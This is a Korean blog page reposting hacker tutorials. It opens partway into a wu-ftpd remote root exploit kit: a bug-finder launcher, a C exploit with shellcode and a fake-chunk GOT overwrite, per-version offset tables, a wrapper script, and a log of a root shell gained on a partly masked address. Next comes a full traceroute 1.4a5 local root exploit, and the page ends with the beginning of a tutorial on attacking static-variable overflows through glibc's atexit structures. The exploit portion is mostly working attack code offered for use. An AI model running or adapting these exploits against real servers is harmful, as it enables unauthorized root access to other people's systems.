    shell = strtoul(argv[4], NULL, 0);
}
if(argc > 5) {
    chunkr = strtoul(argv[5], NULL, 0);
}
printf("\n [+] Finding Wu-FTPd Version Bug -\n\n");
{
  strncpy(host, argv[1], 82);
  snprintf(user, 82, "USER anonymous\n"); // anonymous login 확인
  snprintf(pass, 82, "PASS xploit@xploit.x82\n");    // pass 입력
}

  if ((he=gethostbyname(host)) == NULL) 
        { herror("getbyhostname error"); exit(1); }
        
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        { perror("socket error"); exit(1); } 

  x82_addr.sin_family = AF_INET;     
  x82_addr.sin_port = htons(21);   
  x82_addr.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(x82_addr.sin_zero), 8);     
  if(connect(sockfd, (struct sockaddr *)&x82_addr, sizeof(struct sockaddr)) == -1)
        { perror("connect error"); exit(1); }

memset(read_buf, 0, 1024);
recv(sockfd, read_buf, 1024, 0);
strncpy(version_buf, read_buf, 1024);
{
send(sockfd, user, strlen(user), 0);
memset(read_buf, 0, 1024);
recv(sockfd, read_buf, 1024, 0);
}
{
send(sockfd, pass, strlen(pass), 0);
memset(read_buf, 0, 1024);
recv(sockfd, read_buf, 1024, 0);
if(strstr(read_buf, "530") !=0) { // login 에러
     printf(" * Ooops, Ftpd login Error (Check! ID & Passwd)\n\n");
     close(sockfd);
     exit(0);
}}
{ 
memset(read_buf, 0, 1024);
memset(strcode,  0 ,1024);
}
sprintf(strcode,"list ~{\n");
{
send(sockfd, strcode, strlen(strcode), 0);
memset(read_buf, 0, 1024);
recv(sockfd, read_buf, 1024, 0);
close(sockfd);
}
if(strstr(read_buf, "550 Missing }") !=0) { // 취약하지 않음
  printf(" * Not Vulnerable ! :-(\n\n");
  exit(0);
}
if(gotrs > 0) {
     printf(" * OK, Finded Bug\n * Execute exploit.\n\n"); // 취약
     sprintf(execute,
             "(./happy-xpl -r %p -s %p -p %p; cat) | `which nc` %s 21",
             gotrs, shell, chunkr, argv[1]); // exploit 구동
     system(execute);
     exit(0);
} // platform type 선별방식
gotrs = plat[type].gotr;
shell = plat[type].shaddr;
chunkr = plat[type].pointr;
     printf(" * OK, Finded Bug\n * Execute exploit, Type Method.\n\n");
     sprintf(execute,
             "(./happy-xpl -t %d; cat) | `which nc` %s 21",
             plat[type].num, argv[1]); // exploit 구동
     system(execute);
     exit(0);
}


--- happy-xpl.c ---


/*
**
** ==================================================================== **
**  WOOoou-FTPd Remote root exploit for x86 RedHat Linux
** ==================================================================== **
**
** ** USE IT AT YOUR OWN RISK! **
**
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net
**
*/

#include <stdio.h> 
#include <string.h>
#include "os-plat.h"

#define POINT     0x8282bab0                /* 기본 가짜 청크 위치 */
#define CODE      0x82828282                /* 기본 shellcode 위치 */
#define GOTR      0x8282bab0        /* 기본 GlobalOffsetTable 위치 */
#define USER      "USER anonymous"                /* 기본 Username */
#define PASS      "PASS none@xploit.x82x82x82x82" /* 기본 Password */

unsigned char shellcode[] = /********* NOP "incl %eax" **********/
"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
/********** chroot-break/execve shellcode by zen-parse **********/
"\x55\x89\xe5\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd"
"\x80\xeb\x43\x5e\xb0\x27\x8d\x5e\x09\xb1\xed\xcd\x80\x31\xc9\x31"
"\xc0\xb0\x3d\xcd\x80\xba\x2e\x2e\x2f\xff\x8d\x5d\x04\xb1\x10\x89"
"\x55\x04\x83\xc5\x03\xe0\xf8\x89\x4d\x04\xb0\x3d\xcd\x80\x89\xf3"
"\x89\x75\x08\x89\x4d\x0c\xb0\x0b\x8d\x4d\x08\x8d\x55\x0c\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80\xe8\xb8\xff\xff\xff\x2f\x2f\x2f\x2f"
"/bin/su"; /* realroot :-) */

main(int argc, char *argv[]) {

   char         username[0x82] = USER,
                password[0x82] = PASS,
                        command[0x82];
                        char     *x0x;

   unsigned long gotr    =  GOTR - 12;
   int    chanx, num_0 = 0, num_1 = 0,
                             type = 0;

   char                 strcode[1024],
                     atexec[1024 * 5], 
                   maincode[1024 * 4];
   extern                char *optarg;

   unsigned long shelladdr    =  CODE;
   unsigned long pointr       = POINT;

   bzero(&atexec, 1024 * 5);
   bzero(&strcode, 1024);
   bzero(&maincode,1024 * 4);

   /********************** setting ***********************/
   // type 설정
   shelladdr = plat[type].shaddr;
   gotr   = plat[type].gotr - 12;
   pointr    = plat[type].pointr;  

   while((chanx = getopt(argc ,argv, "t:s:r:p:")) != EOF) {
   switch(chanx) {

   case 't':  type = atoi(optarg);
              if(type > 11) {
                 printf("\n Error, Platform Type Number: (0~ 11)\n\n");
                 exit(0);
              }{ // 인수에 의한 type 설정
   shelladdr = plat[type].shaddr;
   gotr   = plat[type].gotr - 12;
   pointr    = plat[type].pointr;
   }                                                break;
   case 's':  shelladdr = strtoul(optarg, NULL, 0); break;
   case 'r':  gotr = strtoul(optarg, NULL, 0) - 12; break;
   case 'p':  pointr = strtoul(optarg, NULL, 0);    break;
   case '?':  usages(argv[0]);                      break; 

   }}

   /****************** Make Fake Chunks ******************/
   // 가짜 청크 제작
   for(num_0 = 0; num_0 < 160; num_0 += 32) {

       strcode[num_0 + 0] = (0xfffffff0 & 0x000000ff) >> 0;
       strcode[num_0 + 1] = (0xffffffff & 0x0000ff00) >> 8;
       strcode[num_0 + 2] = (0xffffffff & 0x00ff0000) >>16;
       strcode[num_0 + 3] = (0xffffffff & 0xff000000) >>24; 
       strcode[num_0 + 4] = (0xfffffffc & 0x000000ff) >> 0;
       strcode[num_0 + 5] = (0xffffffff & 0x0000ff00) >> 8;
       strcode[num_0 + 6] = (0xffffffff & 0x00ff0000) >>16;
       strcode[num_0 + 7] = (0xffffffff & 0xff000000) >>24;
       strcode[num_0 + 8] =       (gotr & 0x000000ff) >> 0;
       strcode[num_0 + 9] =       (gotr & 0x0000ff00) >> 8;
       strcode[num_0 +10] =       (gotr & 0x00ff0000) >>16;
       strcode[num_0 +11] =       (gotr & 0xff000000) >>24; 
       strcode[num_0 +12] =  (shelladdr & 0x000000ff) >> 0;
       strcode[num_0 +13] =  (shelladdr & 0x0000ff00) >> 8;
       strcode[num_0 +14] =  (shelladdr & 0x00ff0000) >>16;
       strcode[num_0 +15] =  (shelladdr & 0xff000000) >>24;
       strcode[num_0 +16] = (0xfffffff0 & 0x000000ff) >> 0;
       strcode[num_0 +17] = (0xffffffff & 0x0000ff00) >> 8;
       strcode[num_0 +18] = (0xffffffff & 0x00ff0000) >>16;
       strcode[num_0 +19] = (0xffffffff & 0xff000000) >>24;
       strcode[num_0 +20] = (0xfffffffc & 0x000000ff) >> 0;
       strcode[num_0 +21] = (0xffffffff & 0x0000ff00) >> 8;
       strcode[num_0 +22] = (0xffffffff & 0x00ff0000) >>16;
       strcode[num_0 +23] = (0xffffffff & 0xff000000) >>24;
       strcode[num_0 +24] =       (gotr & 0x000000ff) >> 0;
       strcode[num_0 +25] =       (gotr & 0x0000ff00) >> 8;
       strcode[num_0 +26] =       (gotr & 0x00ff0000) >>16;
       strcode[num_0 +27] =       (gotr & 0xff000000) >>24;
       strcode[num_0 +28] =  (shelladdr & 0x000000ff) >> 0;
       strcode[num_0 +29] =  (shelladdr & 0x0000ff00) >> 8;
       strcode[num_0 +30] =  (shelladdr & 0x00ff0000) >>16;
       strcode[num_0 +31] =  (shelladdr & 0xff000000) >>24;

   }   /**************** Chunk Point! *******************/
   {   // 청크를 가리킴
        password[0x0000001d] = (pointr & 0x000000ff) >> 0;
        password[0x0000001e] = (pointr & 0x0000ff00) >> 8;
        password[0x0000001f] = (pointr & 0x00ff0000) >>16;
        password[0x00000020] = (pointr & 0xff000000) >>24;
   }
   // sleep(10); /* 디버깅시 유용함 */
   num_0 = 0x00000000;
   for(num_1 = 0; num_1 < 320 - strlen(shellcode); num_1 += 6) {
       maincode[num_0++] = '@';
       maincode[num_0++] = 0xeb; // jump
       maincode[num_0++] = 0x0c; // 12
       maincode[num_0++] = '@';
   }
   for(num_1 = 0; num_1 < strlen(shellcode); num_1++) {
       maincode[num_0++] = shellcode[num_1];
   }
   snprintf(atexec, 1024 * 4, 
           "%s\n%s\n%s%s\n    %s", // code가 덮일 위치 및 code 작성 
           username, password, plat[type].attype, strcode, maincode); 
   printx(atexec);
   printf("\n\n\n\n\n");
  
   snprintf(command, 0x82, "list ~{\nquit\n"); // 공격
   printx(command);

}

printx(ppp) char *ppp; {
    while(*ppp) {
    if(*ppp==(char)0xff) putchar(*ppp); // 터미널 문자 반복처리 출력
    putchar(*ppp); ppp++;
    }
}   

usages(char *argument) {

  printf("\n Usages: %s -options arguments\n\n", argument);
  printf("  -t [Platform Number]   - Platform Type Number\n");
  printf("  -s [Shellcode Address] - Pushing shellcode address\n");
  printf("  -r [Retloc Address]    - Find retloc address\n");
  printf("  -p [Chunk Pointer]     - Fake Chunk address\n");

  system("cat ./platform.txt");
  
  printf(" Example:\n 
  %s -s %p -r %p -p %p\n"
, argument, CODE, GOTR, POINT);
  printf("\n Example2: %s -t 0\n\n", argument);
  exit(0);

}


--- os-plat.h ---


/*
**
** - Platform SyStype Select - Header File !
**
** find & make by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net
**
*/

struct os {

    int num;
    char *osfp;
    unsigned long pointr;
    unsigned long gotr;
    unsigned long shaddr;
    char *attype;
};

struct os plat[] =
{
    { /* 0x0806bae4 R_386_JUMP_SLOT   syslog */
    0,
    "RedHat Linux 6.1 wu-ftpd-2.6.0.tar.gz",
    0x08087680,
    0x0806bae4,
    0x0807d628,
    "site exec "
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    1,
    "RedHat Linux 6.1 wu-ftpd-2.6.0-3.i386.rpm",
    0x08090b8d,
    0x0806e088,
    0x0807fbd1,
    "stat ~xpl "
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    2,
    "RedHat Linux 6.1 wu-ftpd-2.6.0-3bc.i386.rpm",
    0x08090b18,
    0x0806e088,
    0x0807fbe9,
    "site exec "
    },
    { /* 0x08070414 R_386_JUMP_SLOT   syslog */
    3,
    "RedHat Linux 6.1 wu-ftpd-2.6.0-14.6x.i386.rpm",
    0x080946b8,
    0x08070414,
    0x08083371,
    "site exec "
    },
    { /* 0x0806bb04 R_386_JUMP_SLOT   syslog */
    4,
    "RedHat Linux 6.2 wu-ftpd-2.6.0.tar.gz",
    0x08087655,
    0x0806bb04,
    0x0807d631,
    "stat 0x82 " 
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    5,
    "RedHat Linux 6.2 wu-ftpd-2.6.0-3.i386.rpm",
    0x08090b1d,
    0x0806e088,
    0x0807fbe9,
    "stat 0x82 " 
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    6,
    "RedHat Linux 6.2 wu-ftpd-2.6.0-3bc.i386.rpm",
    0x08090b2d,
    0x0806e088,
    0x0807fbd1,
    "stat ~xpl " 
    },
    { /* 0x08070414 R_386_JUMP_SLOT   syslog */
    7,
    "RedHat Linux 6.2 wu-ftpd-2.6.0-14.6x.i386.rpm",
    0x080946b8,
    0x08070414,
    0x080833b1,
    "site exec "
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    8,
    "RedHat Linux 7.0 wu-ftpd-2.6.0-3.i386.rpm",
    0x08090b8d,
    0x0806e088,
    0x08089b40,
    "stat ~xpl "
    },
    { /* 0x0806f170 R_386_JUMP_SLOT   syslog */
    9,
    "RedHat Linux 7.0 wu-ftpd-2.6.1-3.6x.i386.rpm",
    0x0808ce88,
    0x0806f170,
    0x08082cc2,
    "stat 0x82 "
    },
    { /* 0x08070cb0 R_386_JUMP_SLOT   syslog */
    10,
    "RedHat Linux 7.0 wu-ftpd-2.6.1-6.i386.rpm", /* 7.0 Default */
    0x0808e73d,
    0x08070cb0,
    0x08084622,
    "stat 0x82 "
    },   
    { /* 0x08073018 R_386_JUMP_SLOT   syslog */
    11,
    "RedHat Linux 7.1 wu-ftpd-2.6.1-16.i386.rpm",
    0x82828282,
    0x08073018,
    0x08085de0,
    "cwd ~/xpl "
    },
    { /* 0x08071748 R_386_JUMP_SLOT   syslog */
    12,
    "RedHat Linux 7.1 wu-ftpd-2.6.1-18.i386.rpm",
    0x82828282,
    0x08071748,
    0x08085900,
    "cwd ~/xpl "
    },
    { /* 0x08073018 R_386_JUMP_SLOT   syslog */
    13,
    "RedHat Linux 7.2 wu-ftpd-2.6.1-16.i386.rpm",
    0x82828282,
    0x08073018,
    0x08085de0,
    "cwd ~//// "
    },
    { /* 0x08072af8 R_386_JUMP_SLOT   syslog */
    14,
    "RedHat Linux 7.2 wu-ftpd-2.6.1-18.i386.rpm",
    0x82828282,
    0x08072af8,
    0x08085900,
    "cwd hello "
    }
/* Hate Kiddies */
};


--- platform.txt ---


* Platform Type Number List -

  0) RedHat Linux 6.1 wu-ftpd-2.6.0.tar.gz
  1) RedHat Linux 6.1 wu-ftpd-2.6.0-3.i386.rpm
  2) RedHat Linux 6.1 wu-ftpd-2.6.0-3bc.i386.rpm
  3) RedHat Linux 6.1 wu-ftpd-2.6.0-14.6x.i386.rpm
  4) RedHat Linux 6.2 wu-ftpd-2.6.0.tar.gz
  5) RedHat Linux 6.2 wu-ftpd-2.6.0-3.i386.rpm
  6) RedHat Linux 6.2 wu-ftpd-2.6.0-3bc.i386.rpm
  7) RedHat Linux 6.2 wu-ftpd-2.6.0-14.6x.i386.rpm
  8) RedHat Linux 7.0 wu-ftpd-2.6.0-3.i386.rpm
  9) RedHat Linux 7.0 wu-ftpd-2.6.1-3.6x.i386.rpm
10) RedHat Linux 7.0 wu-ftpd-2.6.1-6.i386.rpm
11) RedHat Linux 7.1 wu-ftpd-2.6.1-16.i386.rpm
12) RedHat Linux 7.1 wu-ftpd-2.6.1-18.i386.rpm
13) RedHat Linux 7.2 wu-ftpd-2.6.1-16.i386.rpm
14) RedHat Linux 7.2 wu-ftpd-2.6.1-18.i386.rpm


--- xploit-generator ---


#!/bin/sh
#
# WOOoou-FTPd xploit-generator exploit. 
#
# by Xpl017Elz in INetCop(c)
#
(printf "\n Welcome to WOOoou-FTPd AttACK HAPPY EXPLOIT PROJECT v02/04/05\n");
(printf "\n [0] ftp username (ex - anonymous): "); read name;
#
if [ "$name" != "anonymous" ]; then
(printf " - Username != anonymous\n - mer0ng, :-p\n\n"); exit; fi
(printf " [1] target hostname (domain & ip): "); read host;
(printf " [2] Target Ftpd version & type -\n");
cat platform.txt
(printf " - FTPd version type (ex - 0): "); read plfm;
(printf " - OK, Platform Type Number: $plfm\n\n");
(printf " * Thanks ur infomation :-)\n");
./bugfinder $host $plfm
(printf "\n by Xpl017Elz\n\n");
#
# Cool? Hmmmm ... :-x
# G00dbye, Kiddies.
#


--- Success ---


[x82@xpl017elz WOOoou~Happy-2.6.1.xpl]$ ./xploit-generator

Welcome to WOOoou-FTPd AttACK HAPPY EXPLOIT PROJECT v02/04/05

[0] ftp username (ex - anonymous): anonymous
[1] target hostname (domain & ip): 61.xx.177.xx
[2] Target Ftpd version & type -

* Platform Type Number List -

  0) RedHat Linux 6.1 wu-ftpd-2.6.0.tar.gz
  1) RedHat Linux 6.1 wu-ftpd-2.6.0-3.i386.rpm
  2) RedHat Linux 6.1 wu-ftpd-2.6.0-3bc.i386.rpm
  3) RedHat Linux 6.1 wu-ftpd-2.6.0-14.6x.i386.rpm
  4) RedHat Linux 6.2 wu-ftpd-2.6.0.tar.gz
  5) RedHat Linux 6.2 wu-ftpd-2.6.0-3.i386.rpm
  6) RedHat Linux 6.2 wu-ftpd-2.6.0-3bc.i386.rpm
  7) RedHat Linux 6.2 wu-ftpd-2.6.0-14.6x.i386.rpm
  8) RedHat Linux 7.0 wu-ftpd-2.6.0-3.i386.rpm
  9) RedHat Linux 7.0 wu-ftpd-2.6.1-3.6x.i386.rpm
10) RedHat Linux 7.0 wu-ftpd-2.6.1-6.i386.rpm
11) RedHat Linux 7.1 wu-ftpd-2.6.1-16.i386.rpm
12) RedHat Linux 7.1 wu-ftpd-2.6.1-18.i386.rpm
13) RedHat Linux 7.2 wu-ftpd-2.6.1-16.i386.rpm
14) RedHat Linux 7.2 wu-ftpd-2.6.1-18.i386.rpm

- FTPd version type (ex - 0): 5
- OK, Platform Type Number: 5

* Thanks ur infomation :-)

[+] Finding Wu-FTPd Version Bug -

* OK, Finded Bug
* Execute exploit, Type Method.

220 testsub2 FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready
.
331 Guest login ok, send your complete e-mail address as password.
230 Guest login ok, access restrictions apply.
200-綜綜綜綜綜綜綜綜綜綜熉                                 U?1육?甕/////bin/su
': command not understood.綜綜綜綜')                       M
500 '': command not understood.@?@?@?]?U?星?????M?@?@?@?@?@?@?@
500 '': command not understood.육=??./@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@U
500 '': command not understood.
500 '': command not understood.
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
(wheel)
pwd
/home/ftp
exit

by Xpl017Elz

[x82@xpl017elz WOOoou~Happy-2.6.1.xpl]$

---

P.S-2: 제가 알고있는 WU-FTPd exploit은 Team TESO의 exploit과 zen-parse,
그리고 dove의 exploit. 전부 세가지입니다. 각각 exploit의 공격 method를 살펴보면
그 방식이 조금씩 다른 재미있는 사실을 알 수 있을 것입니다.


2) traceroute exploit.


역시, 유명한 Heap 기반 exploit 입니다.
아래 첨부하는 것은 제가 예전에 연구할 때 작성했던 code입니다.
매우 쉽게 짜여져 있으니, 공부하는데 큰 어려움은 없을 것입니다. :-)

관련 report는 synnergy팀의 문서를 link 하도록 하겠습니다.

URL - http://synnergy.net/downloads/exploits/traceroute-exp.txt


--- 0x82-Local.Trxpl.c ---


/*
**
** traceroute 1.4a5 exploit
**
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net
**
** Special Greets: sorbo(c00l c0de), dvorak(c00l advisory).
**
*/

#include <stdio.h>
#define TR "/usr/sbin/traceroute"
#define Xpl017Elz "x82"

char fakechunk[] =
        "\xfc\xfc\xff\xff"  /* fpucking chunk */
        "\xb8\xc7\x04\x08"; /* GOT free 0804c7c4-0xc */
        /* objdump -R /usr/sbin/traceroute | grep free */

char jmpcode[] = /* jmp ! */
        "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
        "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
        "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a";
        
char shellcode[] = /* setreuid(0,0); and, execute /bin/sh */
        "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 

    char x0x[1024], x82buf[0x82], x82x82[1024*2], tr[0x82] = TR;
    char *arguments[] = {"x82", "-g", "82.8.2", "-g", x82buf, x0x, NULL};
    int num_0, num_1, num_2, code, nop; 
    unsigned long addr = 0;
    bzero(&x0x,    1024); 
    bzero(&x82buf, 0x82);
    
    for(code = 0; code < strlen(jmpcode); code++) {
        x0x[code] = jmpcode[code];
    }
    for(nop = 0; nop < 0x20; nop++) {
        x0x[code++] = 0x90;
    }
    for(num_0 = 0; num_0 < strlen(shellcode); num_0++) {
        x0x[code++] = shellcode[num_0];
    }
    strcpy(x82buf, "8.2.8.17 x82"); num_2 = strlen(x82buf);
    for(num_1 = 0; num_1 < strlen(fakechunk); num_1++) {
        x82buf[num_2++] = fakechunk[num_1];
    }

    addr = 0xc0000000 - strlen(x0x);
    x82buf[num_2++] = (addr & 0x000000ff) >> 0;
    x82buf[num_2++] = (addr & 0x0000ff00) >> 8;
    x82buf[num_2++] = (addr & 0x00ff0000) >>16;
    x82buf[num_2++] = (addr & 0xff000000) >>24;
    
    printf("\n traceroute 1.4a5 exploit\n");
    printf("\t\t\t\tby Xpl017Elz\n");
    printf("\n___(Code.Dumped)___\n");
    sprintf(x82x82, "echo \"%s\" | hexdump", x82buf);
    system(x82x82); 
    sprintf(x82x82, "echo \"%s\" | hexdump", x0x);
    system(x82x82);
    printf("___(___E.N.D___)___\n\n");

    execve(tr, arguments, NULL);

} 


--- eof ---


0x03. Reference.


- Phrack #57/9 "Once upon a free()"
- truefinder "Heap Overflow - feee/malloc, double Free Corruption"
- dvorak "LBL traceroute exploit"
- CORE Security Technologies "Vulnerability Report For WU-FTPD Server"


P.S-3: free ur mind! :-D
 
 

[펌 : http://webcache.googleusercontent.com/search?q=cache:wEM5wJlwXhQJ:www.hackerschool.org/HS_Boards/data/Lib_system/free_malloc.txt+&cd=4&hl=ko&ct=clnk&gl=kr&lr=lang_ko&client=ubuntu ]

블로그 이미지

KuroNeko_

KuroNeko

,
반응형
               비초기화 정적 변수의 오버플러어에 대한 exploit의 제작 기법(1)
             
                                             mutacker in Null@Root 
                                             mutacker@null2root.org, dbyeom@mail.hangkong.ac.kr
                                             (http://mutacker.null2root.org)

///////////////////////////////////////////////////////////////////////////////////////////////
/////// 1. 글 쓰기에 앞서

먼저 글 쓰기에 앞서 항상 저를 도와주시는 많은 분들에게 감사드린다.
해킹의 새로운 기술이나 기법을 발견하고 생각해 내는 작업은 분명 혼자서 해나가기에는 
지치고 힘이 들 때가 많다. 하지만, 항상 곁에서 지켜봐주고, 도와주고 조언을 아끼지 않는 수많은
분들이 있기에 가능한 일이 아닌가 싶다.
다시 한번 그 분들에게 감사를 표한다.
우리의 null@root 가족들(에구 다 열거하기 힘드니.. 가족들로 ^^;), 
amadoh4ck, truefinder(frog ^^;), black, mat, and so on...

본 문서에 대한 판권은 없는 것으로 하며, 단지 편집만은 금했으면 한다.
틀린 부분이나 오탈자 등은 본인에게 메일이나 주서식지(irc.null2root.org)에서 알려주시면, 
고맙겠습니다.
단지 본 문서에서는 방향만을 제시할 뿐 실제 특정 어플리케이션에 관련된 exploit을 제공하지는 않는다.
아무쪼록, 이 글이 한국 보안 전문가들이나 열심히 노력하는(? 뚫기위해가 아닌 기술발전을 위해) 해커들에게,
그리고 프로그램을 개발하는 개발자들에게 조그마한 도움이 되었으면 하는 바램에서 글을 적어본다.

이 문서의 최고 공개지는 http://mutacker.null2root.org이며, 
최초 문서 개제 장소는 http://www.khdp.org이다.
만일 다른 곳에 본 문서를 개제할 경우에는 그 출처를 정확히 밝혀주었으면 하는 바램이다.

///////////////////////////////////////////////////////////////////////////////////////////////
////// 2. 소개

우리는 buffer overflow 하면 stack overflow를 이용한 return address변경이나, 
data section overflow를 이용한 got영역의 변경, 
heap영역의 데이터 변경이나 chunk변경을 통한 방법 등을 생각한다.

본 문서에서 소개하고자 하는 것은 static형태의 변수가 오버플로어 될 때 발생하는 문제를 다루고자 한다.
이미 이에 대해 __atexit in memory bugs (By Pascal Bouchareine <pb@hert.org>) 문서가 존재하지만,
실제로 현재의 시스템에 적용이 되질 않는 관계로 새롭게 접근해 보고자 한다.
Pascal의 문서에서 사용되던 atexit 자료구조가 glibc가 버젼업 되면서 상당부분 변경이 된 것같다. 
즉, 현재의 시스템과 맞지 않는 부분이 대부분이다.

///////////////////////////////////////////////////////////////////////////////////////////////
/////// 3. 문제 설정 및 배경지식

<-- copy from here 

#include <stdring.h>

int main(int argc,char *argv[])
{
  static char buf[128];

  if(argc > 1)
    strcpy(buf,argv[1]);
}
-- to here -->

위의 예는 main()함수 내에 정적변수(static variable)을 두고, 인자값으로 들어온 것을 복사하고 있다.
아주 이해하기 쉬운 예제이며, 누구나 "아! 오버플로어가 발생하겠다"라고 할 것같은 예제이다.

하지만, 실제로 정적변수에 overflow가 발생하였다고 하여서 exploit이 작성이 가능한 것은 아니다.
만일 buf[]변수가 초기화가 이루어진 상황이라면, 위의 문제는 got영역을 변경하는 것으로 
바뀔 것이다. 
하지만, 위의 예는 비초기화된 정적변수로 메모리 구조상 오버플로어가 발생한다할지라도 
함수들의 포인터 값을 가지고 있는 got영역을 변경할 수는 없다.

아래의 그림은 실제 프로그램이 사용하는 메모리의 구조를 보이고 있다.

           +---------------------------------+
           |            Text 영역            |
           +---------------------------------+
           |        초기화된 전역변수        |
           +---------------------------------+
           |        초기화된 정적변수        |
           +---------------------------------+
           |              GOT                |
           +---------------------------------+
           |       비초기화된 정적변수       |
           +---------------------------------+
           |       비초기화된 전역변수       |
           +---------------------------------+
           |            Heap 영역            |
           +---------------------------------+
           |                                 |
            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~        
           |                                 |
           +---------------------------------+
           |            Stack 영역           |
           +---------------------------------+

위의 예제에서는 단지 정적변수 하나만 존재하는 것으로 만일 오버플로어가 발생하였을 경우, 
변경 가능한 영역은 비초기화된 전역변수와 힙영역이 되겠다. 

///////////////////////////////////////////////////////////////////////////////////////////////
/////// 4. 문제 분석

자! 프로그램을 먼저 분석을 해보도록 하자.
일단, Heap을 사용하는 부분이 코드상에 보이지 않는다. 그렇다고 비초기화된 전역변수도 없다.
스택영역이 아닌 이유로 return address 영역도 없다. 힙을 사용하는 것같지도 않다. 
그러면 우리는 어디를 공격할 것인가?
그저 공격지점도 없이 망설이고 앉아만 있을 것인가? 

여기에서 우리는 우리의 프로세스가 생성이 되면서 main()함수가 시작되기 전에 무슨 일이 발생하는가를
먼저 살펴보자.

이를 위해 glibc 를 분석해 본다.
/glibc라이브러리/sysdeps/generic/libc-start.c
이 파일을 유심히 살펴보자.

이중에서 우리는 재미있는 내용을 발견할 수 있다.

---- glibc의 libc-start.c내의 __libc_start_main함수의 일부 내용 -----------

  /* Register the destructor of the dynamic linker if there is any.  */
  if (__builtin_expect (rtld_fini != NULL, 1))
    __cxa_atexit ((void (*) (void *)) rtld_fini, NULL, NULL);

  /* Call the initializer of the libc.  This is only needed here if we
     are compiling for the static library in which case we haven't
     run the constructors in `_dl_start_user'.  */
#ifndef SHARED
  __libc_init_first (argc, argv, __environ);
#endif

  /* Register the destructor of the program, if any.  */
  if (fini)
    __cxa_atexit ((void (*) (void *)) fini, NULL, NULL);

  /* Call the initializer of the program, if any.  */
#ifdef SHARED
  if (__builtin_expect (_dl_debug_mask & DL_DEBUG_IMPCALLS, 0))
    _dl_debug_printf ("\ninitialize program: %s\n\n", argv[0]);
#endif
  if (init)
    (*init) ();

#ifdef SHARED
  if (__builtin_expect (_dl_debug_mask & DL_DEBUG_IMPCALLS, 0))
    _dl_debug_printf ("\ntransferring control: %s\n\n", argv[0]);
#endif

  exit ((*main) (argc, argv, __environ));
}
--------------------------------------------------------------------------

위에서 보면 libc-start.c 는 먼저 내부적으로 fini함수의 주소값이 NULL이 아니라면, 
__cxa_atexit ((void (*) (void *)) fini, NULL, NULL); 를 호출하고 있음을 볼수 있다.

그리고, (*init) (); 호출이 된 후에, 
(init 섹션을 변경해서 거기에 바이러스 넣어두면 딱이겠다. 꾸울꺽!! 왠 헛소리ㅡㅡ;)

exit ((*main) (argc, argv, __environ)); 이 부분이 호출되어 지고 있다.
이때 우리의 친숙한 main()함수가 호출이 되는 것이다.
main()함수에서 설령 exit()을 하지 않았다고 할지라도, libc-start.c 내에 있는 
(*__libc_start_main)()에서 exit()를 호출하고 있음을 알 수 있다.
즉, main()함수의 리턴값이 exit()의 인자로 작용하고 있다.

위에서 우리가 주의깊게 보아야 할 부분이 바로 __cxa_atexit 함수의 호출 부분이다.

저 함수는 과연 무엇하는 함수인가? 

먼저 atexit.c 파일을 살펴보자.

----------------------- exit.h ---------------------------------------
#ifndef	_EXIT_H
#define _EXIT_H 1
enum
{
  ef_free,	/* `ef_free' MUST be zero!  */
  ef_us,
  ef_on,
  ef_at,
  ef_cxa
};

struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
	void (*at) (void);
	struct
	  {
	    void (*fn) (int status, void *arg);
	    void *arg;
	  } on;
	struct
	  {
	    void (*fn) (void *arg, int status);
	    void *arg;
	    void *dso_handle;
	  } cxa;
      } func;
  };
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };
extern struct exit_function_list *__exit_funcs;
extern struct exit_function *__new_exitfn (void);
#endif	/* exit.h  */
----------------------------------------------------------------------

--------------------- cxa_atexit.c -----------------------------------
#include <bits/libc-lock.h>
#include <stdlib.h>
#include "exit.h"

/* Register a function to be called by exit or when a shared library
   is unloaded.  This function is only called from code generated by
   the C++ compiler.  */
int
__cxa_atexit (void (*func) (void *), void *arg, void *d)
{
  struct exit_function *new = __new_exitfn ();

  if (new == NULL)
    return -1;

  new->flavor = ef_cxa;
  new->func.cxa.fn = (void (*) (void *, int)) func;
  new->func.cxa.arg = arg;
  new->func.cxa.dso_handle = d;
  return 0;
}


/* We change global data, so we need locking.  */
__libc_lock_define_initialized (static, lock)


static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;

struct exit_function *
__new_exitfn (void)
{
  struct exit_function_list *l;
  size_t i = 0;

